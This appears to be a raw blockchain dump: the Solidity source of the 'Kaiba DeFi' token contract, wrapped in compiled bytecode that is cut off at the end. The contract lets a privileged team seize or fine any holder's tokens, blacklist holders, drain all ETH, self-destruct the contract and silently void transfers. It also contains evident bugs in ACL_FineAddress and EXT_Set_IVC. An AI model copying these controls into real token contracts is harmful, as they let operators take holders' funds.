84610520565b5060015b92915050565b60005481565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461038e576001600160a01b03841660009081526003602090815260408083203384529091529020546103699083610582565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6103998484846105d2565b5060019392505050565b601281565b6001546000906001600160a01b03163314610405576040805162461bcd60e51b815260206004820152601860248201527729b634b83830b3b2aa37b5b2b71d102737ba1027bbb732b960411b604482015290519081900360640190fd5b6102ff8383610680565b60026020526000908152604090205481565b6040518060400160405280600381526020016214d4d560ea1b81525081565b6001546000906001600160a01b0316331461049d576040805162461bcd60e51b815260206004820152601860248201527729b634b83830b3b2aa37b5b2b71d102737ba1027bbb732b960411b604482015290519081900360640190fd5b6102ff838361070a565b60006102ff3384846105d2565b600360209081526000928352604080842090915290825290205481565b80820182811015610303576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b80820382811115610303576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160a01b0383166000908152600260205260409020546105f59082610582565b6001600160a01b03808516600090815260026020526040808220939093559084168152205461062490826104d1565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60005461068d90826104d1565b60009081556001600160a01b0383168152600260205260409020546106b290826104d1565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821660009081526002602052604090205461072d9082610582565b6001600160a01b038316600090815260026020526040812091909155546107549082610582565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3505056fea264697066735822122062dff13b75b666b2f67257cb8c74f3fb445a6b0f015e65752fa701776a18374964736f6c634300060c0033
[ 38 ]
0xf2210f65235c2fb391ab8650520237e6378e5c5a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract KaibaDeFi is IERC20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; mapping (address => uint256) public _sellLock; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _excludedFromSellLock; mapping (address => bool) public _blacklist; bool isBlacklist = true; string public constant _name = 'Kaiba DeFi'; string public constant _symbol = 'KAIBA'; uint8 public constant _decimals = 9; uint256 public constant InitialSupply= 100 * 10**6 * 10**_decimals; uint256 swapLimit = 5 * 10**5 * 10**_decimals; bool isSwapPegged = true; uint16 public BuyLimitDivider=50; // 2% uint8 public BalanceLimitDivider=25; // 4% uint16 public SellLimitDivider=125; // 0.75% uint16 public MaxSellLockTime= 10 seconds; mapping (address => bool) isTeam; address public constant UniswapRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant Dead = 0x000000000000000000000000000000000000dEaD; uint256 public _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 public buyLimit = _circulatingSupply; uint8 public _buyTax; uint8 public _sellTax; uint8 public _transferTax; uint8 public _liquidityTax; uint8 public _marketingTax; uint8 public _growthTax; uint8 public _treasuryTax; bool isTokenSwapManual = false; bool public bot_killer = true; bool public gasSaver = true; address public claimAddress; address public KLC; address public IVC; address public _UniswapPairAddress; IUniswapRouter02 public _UniswapRouter; modifier onlyTeam() { require(_isTeam(msg.sender), "Caller not in Team"); _; } function _isTeam(address addr) private view returns (bool){ return addr==owner()||isTeam[addr]; } constructor () { uint256 deployerBalance=_circulatingSupply*9/10; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); uint256 injectBalance=_circulatingSupply-deployerBalance; _balances[address(this)]=injectBalance; emit Transfer(address(0), address(this),injectBalance); _UniswapRouter = IUniswapRouter02(UniswapRouter); _UniswapPairAddress = IUniswapFactory(_UniswapRouter.factory()).createPair(address(this), _UniswapRouter.WETH()); balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; buyLimit=InitialSupply/BuyLimitDivider; sellLockTime=2 seconds; _buyTax=9; _sellTax=9; _transferTax=9; _liquidityTax=30; _marketingTax=30; _growthTax=20; _treasuryTax=20; _excluded.add(msg.sender); _excludedFromSellLock.add(UniswapRouter); _excludedFromSellLock.add(_UniswapPairAddress); _excludedFromSellLock.add(address(this)); } function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); if(isBlacklist) { require(!_blacklist[sender] && !_blacklist[recipient], "Blacklisted!"); } bool isClaim = sender==claimAddress; bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient) || isTeam[sender] || isTeam[recipient]); bool isContractTransfer=(sender==address(this) || recipient==address(this)); bool isLiquidityTransfer = ((sender == _UniswapPairAddress && recipient == UniswapRouter) || (recipient == _UniswapPairAddress && sender == UniswapRouter)); if(isContractTransfer || isLiquidityTransfer || isExcluded || isClaim){ _feelessTransfer(sender, recipient, amount); } else{ if (!tradingEnabled) { if (sender != owner() && recipient != owner()) { if (bot_killer) { emit Transfer(sender,recipient,0); return; } else { require(tradingEnabled,"trading not yet enabled"); } } } bool isBuy=sender==_UniswapPairAddress|| sender == UniswapRouter; bool isSell=recipient==_UniswapPairAddress|| recipient == UniswapRouter; _taxedTransfer(sender,recipient,amount,isBuy,isSell); if(gasSaver) { delete isBuy; delete isSell; delete isClaim; delete isContractTransfer; delete isExcluded; delete isLiquidityTransfer; } } } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); swapLimit = sellLimit/2; uint8 tax; if(isSell){ if(!_excludedFromSellLock.contains(sender)){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } require(amount<=sellLimit,"Dump protection"); tax=_sellTax; } else if(isBuy){ require(recipientBalance+amount<=balanceLimit,"whale protection"); require(amount<=buyLimit, "whale protection"); tax=_buyTax; } else { require(recipientBalance+amount<=balanceLimit,"whale protection"); if(!_excludedFromSellLock.contains(sender)) require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } if((sender!=_UniswapPairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier)) _swapContractToken(amount); uint256 contractToken=_calculateFee(amount, tax, _marketingTax+_liquidityTax+_growthTax+_treasuryTax); uint256 taxedAmount=amount-(contractToken); _removeToken(sender,amount); _balances[address(this)] += contractToken; _addToken(recipient, taxedAmount); emit Transfer(sender,recipient,taxedAmount); } function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); _removeToken(sender,amount); _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } function _addToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]+amount; _balances[addr]=newAmount; } function _removeToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]-amount; _balances[addr]=newAmount; } bool private _isTokenSwaping; uint256 public totalTokenSwapGenerated; uint256 public totalPayouts; uint8 public marketingShare=40; uint8 public growthShare=30; uint8 public treasuryShare=30; uint256 public marketingBalance; uint256 public growthBalance; uint256 public treasuryBalance; function _distributeFeesETH(uint256 ETHamount) private { uint256 marketingSplit = (ETHamount * marketingShare)/100; uint256 treasurySplit = (ETHamount * treasuryShare)/100; uint256 growthSplit = (ETHamount * growthShare)/100; marketingBalance+=marketingSplit; treasuryBalance+=treasurySplit; growthBalance+=growthSplit; } uint256 public totalLPETH; bool private _isSwappingContractModifier; modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } function _swapContractToken(uint256 totalMax) private lockTheSwap{ uint256 contractBalance=_balances[address(this)]; uint16 totalTax=_liquidityTax+_marketingTax; uint256 tokenToSwap=swapLimit; if(tokenToSwap > totalMax) { if(isSwapPegged) { tokenToSwap = totalMax; } } if(contractBalance<tokenToSwap||totalTax==0){ return; } uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax; uint256 tokenForMarketing= (tokenToSwap*_marketingTax)/totalTax; uint256 tokenForTreasury= (tokenToSwap*_treasuryTax)/totalTax; uint256 tokenForGrowth= (tokenToSwap*_growthTax)/totalTax; uint256 liqToken=tokenForLiquidity/2; uint256 liqETHToken=tokenForLiquidity-liqToken; uint256 swapToken=liqETHToken+tokenForMarketing+tokenForGrowth+tokenForTreasury; uint256 initialETHBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newETH=(address(this).balance - initialETHBalance); uint256 liqETH = (newETH*liqETHToken)/swapToken; _addLiquidity(liqToken, liqETH); uint256 generatedETH=(address(this).balance - initialETHBalance); _distributeFeesETH(generatedETH); } function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(_UniswapRouter), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _UniswapRouter.WETH(); _UniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private { totalLPETH+=ETHamount; _approve(address(this), address(_UniswapRouter), tokenamount); _UniswapRouter.addLiquidityETH{value: ETHamount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } /// @notice Utilities function UTILITY_destroy(uint256 amount) public onlyTeam { require(_balances[address(this)] >= amount); _balances[address(this)] -= amount; _circulatingSupply -= amount; emit Transfer(address(this), Dead, amount); } function UTILITY_getLimits() public view returns(uint256 balance, uint256 sell){ return(balanceLimit/10**_decimals, sellLimit/10**_decimals); } function UTILITY_getTaxes() public view returns(uint256 treasuryTax, uint256 growthTax,uint256 liquidityTax,uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){ return (_treasuryTax, _growthTax,_liquidityTax,_marketingTax,_buyTax,_sellTax,_transferTax); } function UTILITY_getAddressSellLockTimeInSeconds(address AddressToCheck) public view returns (uint256){ uint256 lockTime=_sellLock[AddressToCheck]; if(lockTime<=block.timestamp) { return 0; } return lockTime-block.timestamp; } function UTILITY_getSellLockTimeInSeconds() public view returns(uint256){ return sellLockTime; } bool public sellLockDisabled; uint256 public sellLockTime; bool public manualConversion; function UTILITY_SetPeggedSwap(bool isPegged) public onlyTeam { isSwapPegged = isPegged; } function UTILITY_SetMaxSwap(uint256 max) public onlyTeam { swapLimit = max; } function UTILITY_SetMaxLockTime(uint16 max) public onlyTeam { MaxSellLockTime = max; } /// @notice ACL Functions function ACL_SetClaimer(address addy) public onlyTeam { claimAddress = addy; } function ACL_BlackListAddress(address addy, bool booly) public onlyTeam { _blacklist[addy] = booly; } function ACL_AddressStop() public onlyTeam { _sellLock[msg.sender]=block.timestamp+(365 days); } function ACL_FineAddress(address addy, uint256 amount) public onlyTeam { require(_balances[addy] >= amount, "Not enough tokens"); _balances[addy]-=(amount*10**_decimals); _balances[address(this)]+=(amount*10**_decimals); emit Transfer(addy, address(this), amount*10**_decimals); } function ACL_SetTeam(address addy, bool booly) public onlyTeam { isTeam[addy] = booly; } function ACL_SeizeAddress(address addy) public onlyTeam { uint256 seized = _balances[addy]; _balances[addy]=0; _balances[address(this)]+=seized; emit Transfer(addy, address(this), seized); } function ACL_ExcludeAccountFromFees(address account) public onlyTeam { _excluded.add(account); } function ACL_IncludeAccountToFees(address account) public onlyTeam { _excluded.remove(account); } function ACL_ExcludeAccountFromSellLock(address account) public onlyTeam { _excludedFromSellLock.add(account); } function ACL_IncludeAccountToSellLock(address account) public onlyTeam { _excludedFromSellLock.remove(account); } function TEAM_WithdrawMarketingETH() public onlyTeam{ uint256 amount=marketingBalance; marketingBalance=0; address sender = msg.sender; (bool sent,) =sender.call{value: (amount)}(""); require(sent,"withdraw failed"); } function TEAM_WithdrawGrowthETH() public onlyTeam{ uint256 amount=growthBalance; growthBalance=0; address sender = msg.sender; (bool sent,) =sender.call{value: (amount)}(""); require(sent,"withdraw failed"); } function TEAM_WithdrawTreasuryETH() public onlyTeam{ uint256 amount=treasuryBalance; treasuryBalance=0; address sender = msg.sender; (bool sent,) =sender.call{value: (amount)}(""); require(sent,"withdraw failed"); } function TEAM_Harakiri() public onlyTeam { selfdestruct(payable(msg.sender)); } function UTILITY_ActivateGasSaver(bool booly) public onlyTeam { gasSaver = booly; } function UTILITY_SwitchManualETHConversion(bool manual) public onlyTeam{ manualConversion=manual; } function UTILITY_DisableSellLock(bool disabled) public onlyTeam{ sellLockDisabled=disabled; } function UTILIY_SetSellLockTime(uint256 sellLockSeconds)public onlyTeam{ sellLockTime=sellLockSeconds; } function UTILITY_SetTaxes(uint8 treasuryTaxes, uint8 growthTaxes, uint8 liquidityTaxes, uint8 marketingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public onlyTeam{ uint8 totalTax=treasuryTaxes + growthTaxes +liquidityTaxes+marketingTaxes; require(totalTax==100, "burn+liq+marketing needs to equal 100%"); _treasuryTax = treasuryTaxes; _growthTax = growthTaxes; _liquidityTax=liquidityTaxes; _marketingTax=marketingTaxes; _buyTax=buyTax; _sellTax=sellTax; _transferTax=transferTax; } function UTILITY_ChangeMarketingShare(uint8 newShare) public onlyTeam{ marketingShare=newShare; } function UTILITY_ChangeGrowthShare(uint8 newShare) public onlyTeam{ growthShare=newShare; } function UTILITY_ChangeTreasuryShare(uint8 newShare) public onlyTeam{ treasuryShare=newShare; } function UTILITY_ManualGenerateTokenSwapBalance(uint256 _qty) public onlyTeam{ _swapContractToken(_qty * 10**9); } function UTILITY_UpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public onlyTeam{ newBalanceLimit=newBalanceLimit*10**_decimals; newSellLimit=newSellLimit*10**_decimals; balanceLimit = newBalanceLimit; sellLimit = newSellLimit; } bool public tradingEnabled; address private _liquidityTokenAddress; function SETTINGS_EnableTrading(bool booly) public onlyTeam{ tradingEnabled = booly; } function SETTINGS_LiquidityTokenAddress(address liquidityTokenAddress) public onlyTeam{ _liquidityTokenAddress=liquidityTokenAddress; } function UTILITY_RescueTokens(address tknAddress) public onlyTeam { IERC20 token = IERC20(tknAddress); uint256 ourBalance = token.balanceOf(address(this)); require(ourBalance>0, "No tokens in our balance"); token.transfer(msg.sender, ourBalance); } function UTILITY_setBlacklistEnabled(bool isBlacklistEnabled) public onlyTeam { isBlacklist = isBlacklistEnabled; } function UTILITY_setContractTokenSwapManual(bool manual) public onlyTeam { isTokenSwapManual = manual; } function UTILITY_setBlacklistedAddress(address toBlacklist) public onlyTeam { _blacklist[toBlacklist] = true; } function UTILITY_removeBlacklistedAddress(address toRemove) public onlyTeam { _blacklist[toRemove] = false; } function UTILITY_AvoidLocks() public onlyTeam{ (bool sent,) =msg.sender.call{value: (address(this).balance)}(""); require(sent); } function EXT_Set_IVC(address addy) public onlyTeam { IVC = addy; isTeam[IVC] = true; _excluded.add(IVC); _excludedFromSellLock.add(KLC); } function EXT_Set_KLC(address addy) public onlyTeam { KLC = addy; isTeam[KLC] = true; _excluded.add(KLC); _excludedFromSellLock.add(KLC); } receive() external payable {} fallback() external payable {} function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } }
0x6080604052600436106105875760003560e01c80637796ff37116102d2578063ae0df1a911610189578063d5d7f465116100de578063e9addd9b1161009a578063f2fde38b11610077578063f2fde38b14611240578063f88b0e4614611260578063f9cfadf114611276578063fb2729871461129757005b8063e9addd9b146111d6578063ead3caf414611200578063f2e0fcbb1461122057005b8063d5d7f465146110fa578063d65af4f21461111a578063d72e08d11461113b578063dd62ed3e14611150578063e134efbb14611196578063e1d21a5b146111b657005b8063b89bfd6511610145578063ca9ec19911610122578063ca9ec19914611065578063d28d885214611084578063d2aaceda146110ba578063d34a9f3c146110da57005b8063b89bfd6514610ffd578063b9966dcb1461101d578063c7639d801461103d57005b8063ae0df1a914610f2c578063b09f126614610f4c578063b0d4f9b714610f7d578063b19a081914610f9d578063b41ea98d14610fbd578063b792161714610fdd57005b8063954ea6651161023f578063a253c06e116101fb578063a9059cbb116101d8578063a9059cbb14610eab578063a9aab6b914610ecb578063ab0b364c14610eeb578063ad463f3d14610f0c57005b8063a253c06e14610e55578063a457c2d714610e6b578063a568016f14610e8b57005b8063954ea66514610d8157806395d89b4114610da15780639bac4a9514610dcf5780639bb433fb14610df0578063a1481b7e14610e10578063a20623ce14610e2557005b806386b5b6091161028e57806386b5b60914610cea57806386d0ada814610d0a578063887c60fb14610d24578063893d20e814610d435780638da5cb5b14610d43578063948248c214610d6157005b80637796ff3714610c3557806378af89df14610c555780637b614de614610c745780638116984d14610c9457806382c4767b14610cb4578063869f736014610cca57005b8063382e329a1161043e57806351a1ad481161039357806365001c661161034f5780636f890a2f1161032c5780636f890a2f14610bb457806370a0823114610bd4578063715018a614610c0a578063762bb28214610c1f57005b806365001c6614610b475780636dcf721814610b675780636ebcf60714610b8757005b806351a1ad4814610abc578063536d8c5f14610ad1578063589210d914610ae657806358e5536514610afc5780635aa1805714610b125780635e1050e514610b2757005b806344832cc6116103fa5780634beb38d8116103d75780634beb38d814610a465780634eca70f514610a665780634f91e48c14610a86578063518c7cc014610a9c57005b806344832cc6146109f157806348e907b714610a115780634ada218b14610a2757005b8063382e329a1461094a578063395093511461096b5780633cc39b7a1461098b5780634089b170146109a157806341f6fb69146109b757806342a11095146109d757005b806318160ddd116104f4578063311a8697116104b057806332424aa31161048d57806332424aa3146108d3578063325ea1aa146108e85780633478154b1461090857806337ac7f081461092a57005b8063311a869714610888578063313ce567146108a9578063313dab20146108bd57005b806318160ddd146107dd5780631eb25d13146107f25780631f8b845e1461080757806323b872dd146108275780632a24e064146108475780632d8828631461086757005b8063095ea7b311610543578063095ea7b31461070d57806309c1f2b21461073d5780630fd99e1614610752578063141235321461078757806315638c68146107a757806317391e49146107bd57005b806301b8dc2e14610590578063024c2ddd1461060b57806305691ec81461065157806306fdde031461069057806307c8c2be146106cc57806309218ee7146106e157005b3661058e57005b005b34801561059c57600080fd5b506011546040805160ff600160301b840481168252600160281b84048116602083015263010000008404811692820192909252600160201b83048216606082015281831660808201526101008304821660a0820152620100009092041660c082015260e0015b60405180910390f35b34801561061757600080fd5b5061064361062636600461365d565b600260209081526000928352604080842090915290825290205481565b604051908152602001610602565b34801561065d57600080fd5b5060115461067890600160501b90046001600160a01b031681565b6040516001600160a01b039091168152602001610602565b34801561069c57600080fd5b5060408051808201909152600a8152694b61696261204465466960b01b60208201525b60405161060291906138b2565b3480156106d857600080fd5b5061058e6112c4565b3480156106ed57600080fd5b506018546106fb9060ff1681565b60405160ff9091168152602001610602565b34801561071957600080fd5b5061072d610728366004613705565b611392565b6040519015158152602001610602565b34801561074957600080fd5b5061058e6113a9565b34801561075e57600